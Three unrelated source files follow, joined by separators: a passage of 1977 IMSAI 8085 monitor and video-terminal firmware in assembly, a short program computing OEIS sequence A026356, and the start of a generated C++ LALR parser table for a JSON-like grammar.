;*****************************************************************
TABB: XRA A
STA PRUPRF ;PROTECT/UNPROTECT TRANSITION FLAG
TAB3: CALL BMPC ;BUMP CURSOR POSITION
JNZ TAB1 ;NO LINE FEED NECESSARY
INR M ;BUMP LINE #
CMP M ;EXCEED LPAGE?
JM SCR3 ;YES,HOME AND RETURN
TAB1: LDA PRTMD ;PROTECT MODE FLAG
XCHG ;H,L PTS AT CHAR
ANA M ;PROTECTED?
MOV A,M ;GET CHAR
LXI D,PRUPRF ;TRANSITION FLAG
JP TAB2 ;NO PROTECTED FIELD
STAX D ;SET TRANSITION FLAG
JMP TAB3
TAB2: LDAX D ;GET TRANSITION FLAG
ORA A
RM ;UNPROT FIELD WITH TRANSITION
CALL FNDTB ;FIND TAB POSITION BIT
ORA A ;SET FLAGS
RM ;TAB IS SET
JMP TAB3
;**************************************************
;CALCULATE CURSOR POSITION FROM CURLIN AND CURCOL
;**************************************************
CALPOS: LHLD CLINE ;CHARS/LINE-1
XCHG
LHLD CURLIN ;L=CURLIN,H=CURCOL
MOV C,H
MOV B,L
LXI H,REFRESH ;BOTTOM OF REFRESH MEMORY
INR B
CALP1: DCR B ;DONE YET
JZ CALP2 ;YES
DAD D ;ADD ANOTHER LINE OF CHARS
JMP CALP1
CALP2: DAD B ;ADD CURRENT COL
SHLD CURPTR ;SAVE
RET
;**********************************************************
;BMPC BUMP CURSOR 1 PLACE. ON RETURN
; D,E=CURSOR POSITION
; H,L=CURCOL PTR OR CURLIN PTR DEPENDING ON Z FLAG
; Z FLAG=0 IF NO LINE FEED NEEDED,1 IF LINE FEED NEEDED
; CURLIN AND CURCOL AND CURPTR ARE UPDATED AS IF LINE FEED
; A REG =LPAGE IF LINE FEED NEEDED
;**********************************************************
BMPC: LHLD CURPTR
INX H
SHLD CURPTR ;UPDATE ABS CURSOR ADDRESS
XCHG ;D,E=PTR
LXI H,CURCOL
INR M ;BUMP COLUMN
LDA CLINE ;MAX COLS/LINE
SUB M ;ZERO IF EXCEED LINE
RNZ ;OK AS IS
MOV M,A ;COL=0
DCX H
LDA LPAGE ;MAX LINES/PAGE
RET
;************************************************
;ADDRESSABLE CURSOR FUNCTION
;************************************************
ADDCURS:LXI H,ESCCNT ;PT AT ESCAPE COUNT
LXI D,CURLIN ;PT AT CURRENT LINE COUNT
LDA CCHAR
SUI 20H ;REMOVE OFFSET FOR COUNT
MOV B,A
MOV A,M ;GET COUNT
SUI 3
RM ;NO VALID NUMBS YET
JNZ XADD ;X AXIS VALUE
;Y-AXIS VALUE
LDA LPAGE
XADD3: STAX D ;MAX LINE #
CMP B
RM
MOV A,B
STAX D
RET
XADD: MVI M,0 ;ESCCNT=0
LDA CLINE ;MAX COL/LINE
INX D
DCR A
JMP XADD3
;************************************************************
;INSERT CHAR AT CURSOR POSITION.EITHER WRITES OVER PREVIOS
;CHAR OR PUSHES ENTIRE FIELD OVER ONE CHAR BEFORE INSERTING.
;************************************************************
INSCHR: LHLD CURPTR ;CURSOR ADDRESS
PUSH H ;SAVE
LDA INSRT ;INSERT FLAG
ORA A
JZ INSC3 ;OVERWRITE
CALL CHARLN
DCX B ;3CHARS-1 TO END
DAD B ;H,L PTS AT LAST CHAR ON LINE
MOV D,H
MOV E,L
DCX D ;D,E PTS AT SOURCE
XCHG ;H,L=SOURCE,D,E=DEST
CALL MVCDN ;MOVE CHARS RIGHT
INSC3: POP H ;CURSOR POSITION
LDA INVIDIO
ANI 80H
MOV B,A ;INVERT BIT
LDA CCHAR
ORA B ;MERGE WITH INVERT BIT
INSC4: MOV M,A
RET
;********************************************************
;SHIFT CHARS RIGHT FROM D,E TO H,L, B,C CHARS FROM RIGHT
;********************************************************
MVCDN: MOV A,C
ORA B
RZ ;DONE
MOV A,M
STAX D
DCX H
DCX D
DCX B
JMP MVCDN
;CONTROL FUNCTION JUMP TABLE
CTRTBL EQU $
DB 0DH ;CARRIAGE RETURN
DW CRET
DB 0AH ;LINE FEED
DW LFEED
DB 0BH ;UP CURSOR (CTRL K)
DW UPLINE
DB 0CH ;FORWARD CURSOR (CTRL L)
DW BMPCUR
DB 08H ;BACK CURSOR (CTRL H)
DW BCKLNE
DB 1EH ;HOME CURSOR (CTRL ^)
DW HOME
DB 1AH ;SCREEN ERASE (CTRL Z)
DW BLNKS
DB 15H ;CLEAR TO EOL (CTRL U)
DW BLANKL
DB 16H ;PROTECTED FIELDS (CTRL V)
DW PROTC
DB 09H ;TAB (CTRL I)
DW TABB
DB 7FH ;DELETE CHAR (RUBOUT)
DW DELETE
DB 14H ;INSERT MODE (CTRL T)
DW INSMDE
DB 04H ;DELETE LINE CTRL D
DW DLINE
DB 05H ;INSERT LINE (CTRL E)
DW ENLINE
DB 10H ;PROTECTED MODE TOGGLE (CTRL P)
DW PRTECT
DB 0 ;TERMINATOR
;ESCAPE FUNCTION JUMP TABLE
ESCTBL EQU $
DB 1DH ;CURSOR CONTROL ('=' LESS BIT 5 LOWER CASE)
DW ADDCURS
DB 49H ;SET TAB
DW SETTAB
DB 09H ;CLEAR TABS
DW CLRTBS
DB 'T' ;LOWER 128 BYTES OF ROM
DW LOW128
DB 'E' ;EXTENDED MODE UPPER 128
DW HIGH128
DB 'G' ;GRAPHIC SET
DW GRAPHIC
DB 'S' ;SCROLL TOGGLE
DW SCRL
DB 'U' ;UPPER/LOWER CASE
DW UPLOW
DB 'V' ;INVERSE VIDIO TOGGLE
DW VIDIO
DB 'L' ;LINES/PAGE
DW LINES
DB 'C' ;COLS/LINE
DW COLS
DB 0 ;TERMINATOR
;*******************************************************
;8085 MONITOR PROGRAM USING THE VIO FIRMWARE
; COPYRIGHT IMSAI MANUFACTURING COMPANY, INC.
; SAN LEANDRO,CALIFORNIA
; 6/7/77
;*******************************************************
MONT: LXI SP,REFRESH+7FFH ;TOP OF MEMORY
MVI A,0AAH
OUT 3
CMA
OUT 3
CMA
OUT 3
MVI A,27H
OUT 3 ;SET UP USART
CALL INIT ;INIT VIO
LXI H,SIGNON
CALL MSGNC ;SIGNON MSG
PRMPT: LXI SP,REFRESH+7FFH
CALL CRLF
MVI A,'?'
CALL CHAROUT
CALL CHIN ;GET COMMAND
MOV B,A ;SAVE IT
LXI D,PRMPT
PUSH D ;RETURN ADDRESS
LHLD USERCMD ;USER COMMAND TABLE
MOV A,H
ORA A ;SET FLAGS
MOV A,B ;RETRIEVE CODE
JZ NUCMD ;NO USER COMMAND TABLE
CALL LOOKUP ;LOOKUP IN USER TABLE
JNZ FNDCMD ;FOUND COMMAND
NUCMD: MOV A,B ;GET COMMAND AGAIN
LXI H,CMDTBL ;COMAND TABLE PTR
CALL LOOKUP
RZ ;NO ENTRY,PROMPT AGIN
MVI B,1 ;FOR PROT/UNPROT
FNDCMD: PCHL ;GO TO ROUTINE
SIGNON: DB 'IMSAI SMP/80.0',0
DB 'COPYRIGHT 6/77'
;*************************************************
;JUMP TO MEMORY "JAAAA"
;CALL MEMORY WITH RETURN TO MONITOR
;*************************************************
JUMP: POP D ;REMOVE RETURN ADDRESS
CALL1: CALL IHEX ;GET JUMP ADDRESS
PCHL ;DO IT
;******************************************************
;ENTER BYTE INTO MEMORY AND MODIFY IF DESIRED
;******************************************************
ENTR: CALL IHEX ;START ADDR
CALL CRLF
CALL OHEXHL ;DISPLAY ADDRESS
MOV A,M ;GET BYTE IN MEMORY
MOV E,A ;PRESET FOR IHEX
CALL OHEXB ;DISPLAY BYTE
XCHG ;D,E=ADDRESS,L=DEFAULT CHAR
CALL IHEX+3 ;GET MODIFIER OR DEFAULT
XCHG ;H,L=ADDR,E=BYTE
MOV M,E
DCX H
CPI 0AH ;DONE?
RZ ;YES
CPI '-' ;BACKWARD
JZ ENTR+3 ;YES
INX H
INX H ;DEFAULT FORWARD
JMP ENTR+3
;*****************************************************
;DISPLAY MEMORY "D,START,END CR"
;*****************************************************
DISP: CALL SIZE ;H,L=START,B,C=SIZE
LDA CTRLC ;#LINES/COLS
RRC ;#LINES BIT IN CARRY
RRC
MVI D,12
JC $+5
MVI D,24
DISP2: CALL CRLF
IN 3
ANI 2 ;ANY INPUT
RNZ ;YES,INTERRRUPT
MVI E,8
LDA CTRLC
RRC
JC $+5
MVI E,16
CALL OHEXHL ;OUTPUT ASCII H,L REG
DISP1: MOV A,M ;GET DATA BYTE
CALL OHEXB ;OUTPUT WITH TRAIL BLANK
INX H
DCX B
MOV A,B
ORA C
RZ ;DONE
DCR E
JNZ DISP1 ;KEEP WITH CURRENT LINE
DCR D ;FILLED PAGE YET?
JNZ DISP2
CALL CHIN ;WAIT FOR PAGE PROMT
JMP DISP+3
;*********************************
;ALLOW ESCAPE SEQUENCES TO CONTROL
;*********************************
ESCCO: CALL CHIN ;READ ESCAPE SEQUENCE CODE
RET
;********************************
;OUTPUT HEX WITH TRAILING BYTE
;********************************
OHEXB: CALL OHEX
MVI A,' '
CALL CHAROUT
RET
;*********************************
;OUTPUT 16 BIT ASCII HEX FROM H,L
;*********************************
OHEXHL: MOV A,H
CALL OHEX
MOV A,L
CALL OHEXB
RET
;*******************************************
;PROTECT /UNPROTECT RAM4A-4 MEMORY
;*******************************************
PROT: INR B ;PROTECT/UNPROTECT FLAG
UNPRT: CALL PARM2 ;GET START,END ADDRESSES IN H,L D,E
MEMP: MOV A,D
ANI 0FCH ;GET 1K OFFSET ONLY
ORA B
MOV D,A
MOV A,H
ANI 0FCH
ORA B
PROT1: OUT 0FEH ;DO IT
CMP D ;DONE?
RZ ;YES
ADI 4 ;SET FOR NEXT 1K BLOCK
JMP PROT1
;**************************************************
;INTEL LOADER LOADS INTEL FORMAT TAPES FROM
;TELETYPE (PORT 2,3)
;**************************************************
INTEL: CALL CHIN ;READ WITHOUT ECHO
SBI ':' ;RCORD MARKER?
JNZ INTEL ;NO
MOV D,A ;ZERO CHECKSUM
CALL IBYTE ;INPUT 2 HEX CHARS
ORA A ;SET FLAGS
RZ ;COUNT =0 MEANS END
MOV D,A ;BYTE COUNT
CALL IBYTE
MOV H,A
CALL IBYTE
MOV L,A
CALL IBYTE ;DUMMY RECORD TYPE IGNORED
DATA: CALL IBYTE
MOV M,A
INX H
DCR D
JNZ DATA
CALL IBYTE ;READ AND ADD CHECKSUM
JZ INTEL ;OK AS IS
MVI A,'C'
CALL CHAROUT ;ERROR MESSAGE
RET
;********************************************
;READ 2 ASCII HEX BYTES AND CONVERT TO BINARY
;********************************************
IBYTE: CALL CHIN ;READ CHAR
CALL ASBI ;CONVERT TO BINARY
JC ERR2
ADD A
ADD A
ADD A
ADD A
MOV E,A ;SAVE
CALL CHIN
CALL ASBI
JC ERR2 ;INVALID ASCII HEX CHAR
ADD E
MOV E,A ;SAVE CHAR
ADD D ;ADD TO CHECKSUM
MOV D,A
RET
;*************************************************
;SIZE INPUTS START,END ADDR AND CONVERTS TO START
; AND SIZE IN H,L AND B,C
;*************************************************
SIZE: CALL PARM2 ;H,L=START D,E=END
PUSH PSW
MOV A,E
SUB L ;LOW BYTE SIZE
MOV C,A
MOV A,D
SBB H ;HIGH BYTE SIZE
MOV B,A
INX B ;ADD 1
POP PSW
RET
;***********************************************
;MEMORY MOVE "M SOURCE BEG,SOURCE END,DEST BEG"
;***********************************************
MOVE: CALL PARM4 ;START,END,DEST
MOVE1: CALL MVCUP ;DO MOVE
RET
;******************************
;FILL MEMORY WITH CHAR
;******************************
FILL: CALL PARM4 ;START,END,FILL CHAR IN L
MOV A,E ;FILL CHAR
MOV M,A ;STORE IN FIRST LOCATION
DCX B
MOV D,H
MOV E,L ;DEST ADDR
INX D ;=START ADDR+1
JMP MOVE1
;*******************************
;MEMORY TEST ROUTINE
;*******************************
MEMTEST:CALL SIZE ;H,L=START,B,C=SIZE
DCX B ;B,C=SIZE-1 OR 0
MEM2: XRA A
MOV D,M ;SAVE CELL
MEM1: MOV M,A
CMP M
JNZ MEMERR ;NOT GOOD
DCR A ;NEXT PATTERN
JNZ MEM1
MOV M,D ;RESTORE MEMORY
IN 3
ANI 2 ;BAIL OUT?
RNZ ;YES
INX H
DCX B
MOV A,B
ORA C
JNZ MEM2
RET
MEMERR: INX H ;ADJUST FOR PRNMEM
MOV E,A ;SAVE
CALL PNTMEM ;PRINT ADDR,CONTENTS
MOV A,E ;RESTORE
JMP SRCP1 ;PRINT SOULD BE
;******************************************
;DO DIRECT INPUT/OUTPUT FROM SPECIFIED PORT
;******************************************
INPORT: DCR B ;B=0=INPUT,B=1=OUTPUT
OUTPORT:CALL PARM2 ;INPUT PORT,VALUE IN H,L AND D,E
MOV A,B ;FLAG
RLC
RLC
RLC
XRI 08H ;INVERT BIT 3
ORI 0D3H ;FORM I/O INST
MOV D,L
LHLD RAMPTR ;GET AVAIL RAM PTR
MOV M,A
CMP M
RNZ ;INVALID RAM
PUSH H
INX H
MOV M,D ;PORT #
INX H
MVI M,0C9H ;RETURN
LXI H,IORET
XTHL ;PUT RETURN ADDRESS,GET START ADDR
MOV A,B
ORA A ;SET FLAG FOR IN OR OUT
MOV A,E ;OUTPUT BYTE
PCHL
IORET: RNZ ;DONE IF OUTPUT INST
CALL OHEXB ;PRINT VALUE IF INPUT
RET
;************************************
;SET FREE RAM PTR FOR DIRECT IO INSTS
;************************************
RAMFND: CALL IHEX ;GET RAM ADDR
SHLD RAMPTR ;SAVE IN VIO RAM
RET
;************************************************
;COMPARE MEMORY BLOCKS AND PRINT DIFFERENCES
;************************************************
CMPBLK: CALL PARM4 ;START,SIZE,DEST IN HL BC,DE
CMPB1: LDAX D ;DEST BYTE
CMP M ;SAME AS SOURCE BYTE?
INX H
INX D
JZ CMPB2 ;YES, NO PRINT
CALL PNTMEM ;PRINT ADDR,SOURCE DEST
XCHG
CALL PNTMEM+3 ;NO CRLF
XCHG
CMPB2: DCX B
MOV A,B
ORA C
RZ ;YES,RETURN
IN 3
ANI 2
RNZ ;BAIL OUT
JMP CMPB1
;*****************************************
;SEARCH MEMORY FOR MASKED 16 BIT VALUE
;S,FROM,TO,16BIT VALUE,16 BIT MASK
;*****************************************
SEARCH: CALL PARM4 ;START,SIZE,VALUE IN H,L B,C D,E
PUSH H ;SAVE
LXI H,-1 ;DEFAULT MASK ALL
CPI 0AH ;USER SPECIFIED MASK?
CNZ IHEX ;YES,READ IT INTO H,L
XTHL ;MASK ON STACK,START IN H,L
SEAR1: MOV A,M ;LOW BYTE
XTHL ;H,L=MASK VALUE
ANA H ;MASK HIGH BYTE
CMP D ;IS IT CORRECT VALUE?
XTHL ;RESTORE START PTR
INX H ;BUMP PTR
JNZ CMP16 ;NO MATCH
MOV A,M ;LOW BYTE
XTHL ;GET MASK IN H,L
ANA L
CMP E
XTHL ;H,L=START,STACK=MASK
CZ SRCPNT ;PRINT MATCH IF FOUND
CMP16: DCX B
MOV A,B
ORA C
JNZ SEAR1
POP B ;REMOVE MASK VALUE
RET
;**************************************************
;PARM4 INPUTS START,END,VALUE AND
;CONVERTS TO START,SIZE,VALUE IN H,L B,C AND D,E
;RESPECTIVELY
;**************************************************
PARM4: CALL SIZE
JMP PARM3
;************************************************
;MVCUP MOVE B,C CHARS FROM H,L TO D,E FROM BOTTOM
;************************************************
MVCUP: MOV A,B
ORA C
RZ
MOV A,M
STAX D ;MOVE IT
DCX B
INX H
INX D
JMP MVCUP ;KEEP GOING
;**************************************************
;LOAD OR EXECUTE CASETTE FILE USING HEADER OR
;USER SPECIFIED START,END,EXEC ADDRESSES
;**************************************************
EXEC: DCR B ;EXECUTE FLAG
LOAD: PUSH B ;SAVE EXEC/LOAD FLAG
CALL PARM2 ;ANY PARMS SPECIFIED?
MOV A,D
ORA E
JZ HEADER ;NO PARMS,OR NOT ENOUGH PARMS
;SKIP HEADER IF PRESENT
PUSH H ;START
PUSH D ;END
CALL IHEX ;GET EXEC IF ANY
PUSH H ;EXEC ADDR
CALL RDHEAD ;READ HEADER IF THERE
JNZ RDRCRDS ;NOT THERE DO OBJECT
POP PSW
POP PSW
POP PSW ;REMOVE HEADER PARMS
JMP RDRCRDS ;DO OBJECT
HEADER: CALL RDHEAD ;READ HEADER
ERR2: MVI A,'T' ;TYPE CODE ERROR
JZ RDRCRDS ;NO ERROR
ERR1: CALL CHAROUT
JMP PRMPT ;BAIL OUT
RDRCRDS:POP B ;EXEC
POP H ;END
POP D ;START
PUSH B ;RETURN EXEC ADDR
PUSH H ;END
PUSH D ;START
MOV A,L
SUB E
MOV L,A
MOV A,H
SBB D
MOV H,A
DAD H
MOV C,H
INR C ;RECORD COUNT TO READ
RDRCO: CALL CASIN ;TYPE CODE
RDRC1: CPI 81H ;ABS BINARY?
JNZ ERR2 ;TYPE CODE ERROR
CALL CASIN ;BYTE COUNT
MOV B,A ;SAVE RECORD BYTE COUNT
LXI H,0 ;0 CHECKSUM
RDATA: CALL CAINCK ;READ DATA BYTE
STAX D ;STORE IT
INX D
DCR B
JNZ RDATA ;CONTINUE IF NOT DONE
PUSH D ;SAVE MEMORY PTR
XCHG ;DE=CHECKSUM
CALL CASWD ;READ TAPE CHECKSUM
MOV H,L
MOV L,A ;REVERSE BYTES
DAD D ;ADD TO COMPUTED CHECKSUM
MOV A,H
ORA L
MVI A,'C' ;CHECKSUM ERROR
CNZ CHAROUT ;TYPE 'C'
JNZ $+8
MVI A,'*'
CALL CHAROUT ;TYPE * FOR GOOD RECORD
POP D ;RETRIEVE MEMORY PTR
DCR C ;ALL RECORDS READ YET
JNZ RDRCO ;NO READ ANOTHER
CALL CRLF
MVI C,3
LP2: POP H
CALL OHEXHL
DCR C
JNZ LP2
POP PSW ;EXEC/LOAD FLAG
RAR
RC ;DONE
PCHL
;******************************
;READ HEADER RECORD
;******************************
RDHEAD: CALL CAINIT ;INIT CASETTE
CALL CASIN ;READ TYPE CODE
CPI 1 ;HEADER RECORD?
RNZ ;NO
CALL CASIN ;RECORD LENGTH
MVI C,5 ;NAME SIZE
NM1: CALL CASIN ;NAME BYTE
CALL CHAROUT ;DISPLAY IT
DCR C
JNZ NM1 ;DO IT TILL DONE
MVI C,3
ADDRS: CALL CASWD ;INPUT START,END,EXEC
XTHL ;EXCH RETURN ADDR WITH PARM
PUSH H ;PUSH RETURN ADDR AGAIN
DCR C
JNZ ADDRS
CALL CASWD ;DUMMY CHECKSUM
XRA A ;ZER FLAGS FOR NORMAL RETURN
RET
;**********************************************
;CAINIT READ CASETTE UNTIL 32 SYNC BYTES READ
;**********************************************
CAINIT: CALL BYTESET ;READ FIRST SYNC
MVI B,31
CAIN2: CALL CASIN
CPI 0E6H
MVI A,'I'
JNZ ERR1
DCR B
JNZ CAIN2
RET
;*******************************
;CASETTE OUTPUT BYTE
;*******************************
CASOUT: PUSH PSW ;SAVE IT
IN 3
ANI 4
JZ CASOUT+1
POP PSW
OUT 0 ;WRITE BYTE
RET
;*****************************
;GENERATE SYNC STREAM
;*****************************
GEN: CALL IHEX ;WAIT FOR RETURN
MVI A,10H
OUT 3 ;WRITE ENABLE MIO
GEN1: MVI A,0E6H
CALL CASOUT
IN 3
ANI 2
RNZ
JMP GEN1
;************************************************
;READ BYTE FROM CASETTE WITHOUT CHECKSUM
;************************************************
CASIN: IN 3
RRC
RRC ;C=SERIAL READY
JC PRMPT ;BAIL OUT
RRC ;C=CASETTE READY
JNC CASIN ;KEEP TRYING
IN 0 ;DATA PORT
RET
;*****************************************
;CAINCK- READ BYTE WITH CHECKSUM
;*****************************************
CAINCK: CALL CASIN
CHKSUM: PUSH B
MOV C,A ;NEW CHAR IN LOW BYTE
MVI B,0
DAD B ;ADD TO CHECKSUM
POP B ;RESTORE
RET
;**********************************************
;ALLIGN CASETTE BY READING AND DISPLAYING BYTES
;**********************************************
ALIGN: CALL CHIN ;WAIT FOR CR
CALL BYTESET
ALL4: LXI H,REFRESH
LXI D,481 ;FILL SMALLEST SCREEN
ALL3: DCX D
MOV A,D
ORA E
JZ ALL4 ;START AGAIN EVERY 256 CHARS
MVI M,7FH
CALL CASIN ;READ NEXT CHAR
MOV M,A ;PUT IN SCREEN
INX H
JMP ALL3
;*******************************************
;GET CASETTE IN BYTE MODE IE READ FIRST 0E6H
;*******************************************
BYTESET:MVI A,60H ;BIT MODE
OUT 3
BYTE1: CALL CASIN ;READ BYTE EVERY BIT TIME
CPI 0E6H ;SYNC YET
JNZ BYTE1 ;NO
MVI A,20H ;BYTE MODE
OUT 3
RET
;*******************************************
;CASWD-INPUT WORD TO H,L ADD FIRST BYTE ONLY
;TO CHECKSUM
;*******************************************
CASWD: CALL CASIN ;READ LOW BYTE
MOV L,A
CALL CASIN ;READ HIGH BYTE
MOV H,A
RET
;********************************
;CHARACTER INPUT ROUTINES
;********************************
CHIN: CALL CHIN1
CPI 03 ;CRTL C?
JZ MONT ;YES,RESET AND PROMPT
CALL CHAROUT
CPI 0DH
CZ CRLF ;ADD LINE FEED
RET
CHIN1: IN 3
ANI 2
JZ CHIN1
IN 2 ;READ PORT 2
ANI 7FH ;MASK PARITY
RET
DB 0,0,0,0,0,0,0,0,0,0,0,0,0
;********************************************************
;PARM2 READ 2 PARAMATERS 16 BITS EACH INTO H,L AND D,E
;********************************************************
PARM2: CALL IHEX
MOV D,H
MOV E,L
CPI 0AH ;TERMINATED?
RZ ;YES,USE SAME VALUE
CPI ','
JZ PARM3
CPI ' '
RNZ ;INVALID
PARM3: XCHG
CALL IHEX ;GET SECOND PARM
XCHG
RET
;*********************************
;CRLF DO CARRIAGE RETURN/LINE FEED
;*********************************
CRLF: MVI A,0DH
CALL CHAROUT
MVI A,0AH
CALL CHAROUT
RET
;:************************************************
;INPUT CHARS ASSUMED HEX AND CONVERT TO BINARY
;TERMINATES ON FIRST NO HEX CHAR WHICH IS LEFT
;IN A REG. H,L RETURNS WITH VALUE
;*************************************************
IHEX: LXI H,0
CALL CHIN ;READ CHAR
PUSH PSW
CALL ASBI ;CONVERT TO BIBARY
JNC IHEX1
POP PSW
RET
IHEX1: DAD H
DAD H
DAD H
DAD H ;ADD NEW DIGIT
ADD L
MOV L,A
POP PSW
JMP IHEX+3
;********************************************************
;CONVERT ASCII HEX CHAR IN A-REG TO BINARY IN A REG
;RETURN WITH CARRY SET IF INVALID CHAR,RESET OTHERWISE
;********************************************************
ASBI: SUI 30H ;REMOVE ASCII BIAS
RC ;INVALID <0
CPI 10
JC ASBI1 ;VALID 0-9
SUI 17
RC ;INVALID
ADI 10
CPI 16 ;SET CARRY IF <0FH
ASBI1: CMC
RET
;*****************************************
;PRINT H,L AND 16 BIT MEMORY AT H,L
;*****************************************
SRCPNT: CALL PNTMEM
MOV A,M ;BYTE 2
SRCP1: CALL OHEX
RET
PNTMEM: CALL CRLF
DCX H ;BACK UP 1
CALL OHEXHL
MOV A,M
CALL OHEXB
INX H
RET
;**********************************************
;OUTPUT HEX CHARS TO VIDIO FROM A REG
;**********************************************
OHEX: PUSH PSW ;SAVE CHAR
RRC
RRC
RRC
RRC
CALL BIAS ;BINARY TO ASCII AND OUT
POP PSW
CALL BIAS
RET
;****************************
;CONVERT BINARY TO ASCII
;****************************
BIAS: ANI 0FH ;MASK NIBBLE
ADI 90H
DAA
ACI 40H
DAA
CALL CHAROUT
RET
;*********************************************
;OUTPUT MESSAGE PTED TO BY H,L AND TERMINATED
;BY ONE BYTE OF BINARY ZEROS
;*********************************************
MSG: CALL CRLF
MSGNC: MOV A,M
ORA A
RZ
CALL CHAROUT
INX H
JMP MSGNC
CMDTBL EQU $
DB 'H'
DW INTEL ;INTEL HEX LOADS
DB 'R' ;FREE RAM LOCATION
DW RAMFND
DB 'G'
DW GEN ;GENERATE SYNC STREAM
DB 'A'
DW ALIGN ;ALLIGN CASETTE ON MIO
DB 'V'
DW CMPBLK ;COMPARE MEMORY BLOCKS
DB 'I'
DW INPORT ;INPUT FROM SPECIFIED PORT
DB 'O'
DW OUTPORT ;OUPUT TO SPECIFIED PORT
DB 'T'
DW MEMTEST
DB 'J'
DW JUMP ;JUMP TO ADDRESS
DB 'C'
DW CALL1 ;CALL MEMORY WITH RETURN
DB 'D' ;DISPLAY MEMORY
DW DISP
DB 'E'
DW ENTR ;ENTER INTO MEMORY
DB 'M'
DW MOVE ;MOVE MEMORY BLOCK
DB 'F' ;FILL MEMORY
DW FILL
DB 'U'
DW UNPRT ;UNPROTECT MEMORY
DB 'P'
DW PROT ;PROTECT MEMORY
DB 'L'
DW LOAD ;LOAD CASETTE
DB 'S'
DW SEARCH ;16 BIT MASKED SEARCH
DB 'X'
DW EXEC ;EXECUTE FROM CASETTE
DB 1BH ;ESCAPE CODE
DW ESCCO
DB 0
END
|
; A026356: a(n) = floor((n-1)*phi) + n + 1, n > 0, where phi = (1+sqrt(5))/2.
; 2,4,7,9,12,15,17,20,22,25,28,30,33,36,38,41,43,46,49,51,54,56,59,62,64,67,70,72,75,77,80,83,85,88,91,93,96,98,101,104,106,109,111,114,117,119,122,125,127,130,132,135,138,140,143,145,148,151,153,156,159,161,164,166,169,172,174,177,180,182,185,187,190,193,195,198,200,203,206,208,211,214,216,219,221,224,227,229,232,235,237,240,242,245,248,250,253,255,258,261,263,266,269,271,274,276,279,282,284,287,289,292,295,297,300,303,305,308,310,313,316,318,321,324,326,329,331,334,337,339,342,344,347,350,352,355,358,360,363,365,368,371,373,376,378,381,384,386,389,392,394,397,399,402,405,407,410,413,415,418,420,423,426,428,431,433,436,439,441,444,447,449,452,454,457,460,462,465,468,470,473,475,478,481,483,486,488,491,494,496,499,502,504,507,509,512,515,517,520,522,525,528,530,533,536,538,541,543,546,549,551,554,557,559,562,564,567,570,572,575,577,580,583,585,588,591,593,596,598,601,604,606,609,612,614,617,619,622,625,627,630,632,635,638,640,643,646,648,651,653
mov $7,$0
mov $9,$0
add $9,1
mov $10,$0
lpb $9,1
mov $0,$7
sub $9,1
sub $0,$9
mov $3,$0
mov $5,2
lpb $5,1
mov $0,$3
sub $5,1
add $0,$5
sub $0,1
mov $1,$0
pow $0,2
lpb $0,1
sub $0,$1
trn $0,1
add $1,2
lpe
mul $1,32
mov $6,$5
lpb $6,1
mov $4,$1
sub $6,1
lpe
lpe
lpb $3,1
mov $3,0
sub $4,$1
lpe
mov $1,$4
sub $1,16
div $1,32
mul $1,3
add $1,3
add $8,$1
lpe
mov $1,$8
sub $1,5
div $1,3
add $1,2
mov $2,$10
mul $2,3
add $1,$2
sub $1,3
div $1,2
add $1,2
|
#include <lalr/ParserStateMachine.hpp>
#include <lalr/ParserState.hpp>
#include <lalr/ParserTransition.hpp>
#include <lalr/ParserSymbol.hpp>
#include <lalr/ParserAction.hpp>
#include <lalr/LexerStateMachine.hpp>
#include <lalr/LexerState.hpp>
#include <lalr/LexerTransition.hpp>
#include <lalr/LexerAction.hpp>
using namespace lalr;
namespace
{
extern const LexerAction lexer_actions [];
extern const LexerTransition lexer_transitions [];
extern const LexerState lexer_states [];
extern const LexerAction whitespace_lexer_actions [];
extern const LexerTransition whitespace_lexer_transitions [];
extern const LexerState whitespace_lexer_states [];
extern const ParserAction actions [];
extern const ParserSymbol symbols [];
extern const ParserTransition transitions [];
extern const ParserState states [];
const ParserAction actions [] =
{
{0, "document"},
{1, "element"},
{2, "add_to_element"},
{3, "create_element"},
{4, "content"},
{5, "attribute"},
{6, "value"},
{-1, nullptr}
};
const ParserSymbol symbols [] =
{
{0, "dot_start", ".start", (SymbolType) 2},
{1, "dot_end", ".end", (SymbolType) 3},
{2, "error", "error", (SymbolType) 1},
{3, "document", "document", (SymbolType) 2},
{4, "left_curly_brace_terminal", "{", (SymbolType) 1},
{5, "element", "element", (SymbolType) 2},
{6, "right_curly_brace_terminal", "}", (SymbolType) 1},
{7, "colon_terminal", ":", (SymbolType) 1},
{8, "contents", "contents", (SymbolType) 2},
{9, "comma_terminal", ",", (SymbolType) 1},
{10, "content", "content", (SymbolType) 2},
{11, "attribute", "attribute", (SymbolType) 2},
{12, "value", "value", (SymbolType) 2},
{13, "null_terminal", "null", (SymbolType) 1},
{14, "true_terminal", "true", (SymbolType) 1},
{15, "false_terminal", "false", (SymbolType) 1},
{16, "string", "[\"']:string:", (SymbolType) 1},
{17, "integer", "(\+|\-)?[0-9]+", (SymbolType) 1},
{18, "real", "(\+|\-)?[0-9]+(\.[0-9]+)?((e|E)(\+|\-)?[0-9]+)?", (SymbolType) 1},
{-1, nullptr, nullptr, (SymbolType) 0}
};
const ParserTransition transitions [] =
{
{&symbols[3], &states[1], nullptr, 0, 0, -1, (TransitionType) 0, 0},
{&symbols[4], &states[2], nullptr, 0, 0, -1, (TransitionType) 0, 1},
{&symbols[1], nullptr, &symbols[0], 1, 0, -1, (TransitionType) 1, 2},
{&symbols[5], &states[3], nullptr, 0, 0, -1, (TransitionType) 0, 3},
{&symbols[16], &states[7], nullptr, 0, 0, -1, (TransitionType) 0, 4},
{&symbols[6], &states[4], nullptr, 0, 0, -1, (TransitionType) 0, 5},
{&symbols[1], nullptr, &symbols[3], 3, 0, 0, (TransitionType) 1, 6},
{&symbols[5], &states[16], nullptr, 0, 0, -1, (TransitionType) 0, 7},
{&symbols[8], &states[11], nullptr, 0, 0, -1, (TransitionType) 0, 8},
{&symbols[10], &states[14], nullptr, 0, 0, -1, (TransitionType) 0, 9},
{&symbols[11], &states[15], nullptr, 0, 0, -1, (TransitionType) 0, 10},
{&symbols[16], &states[8], nullptr, 0, 0, -1, (TransitionType) 0, 11},
{&symbols[5], &states[16], nullptr, 0, 0, -1, (TransitionType) 0, 12},
{&symbols[10], &states[13], nullptr, 0, 0, -1, (TransitionType) 0, 13},
{&symbols[11], &states[15], nullptr, 0, 0, -1, (TransitionType) 0, 14},
{&symbols[16], &states[8], nullptr, 0, 0, -1, (TransitionType) 0, 15},
{&symbols[7], &states[9], nullptr, 0, 0, -1, (TransitionType) 0, 16},
{&symbols[7], &states[10], nullptr, 0, 0, -1, (TransitionType) 0, 17},
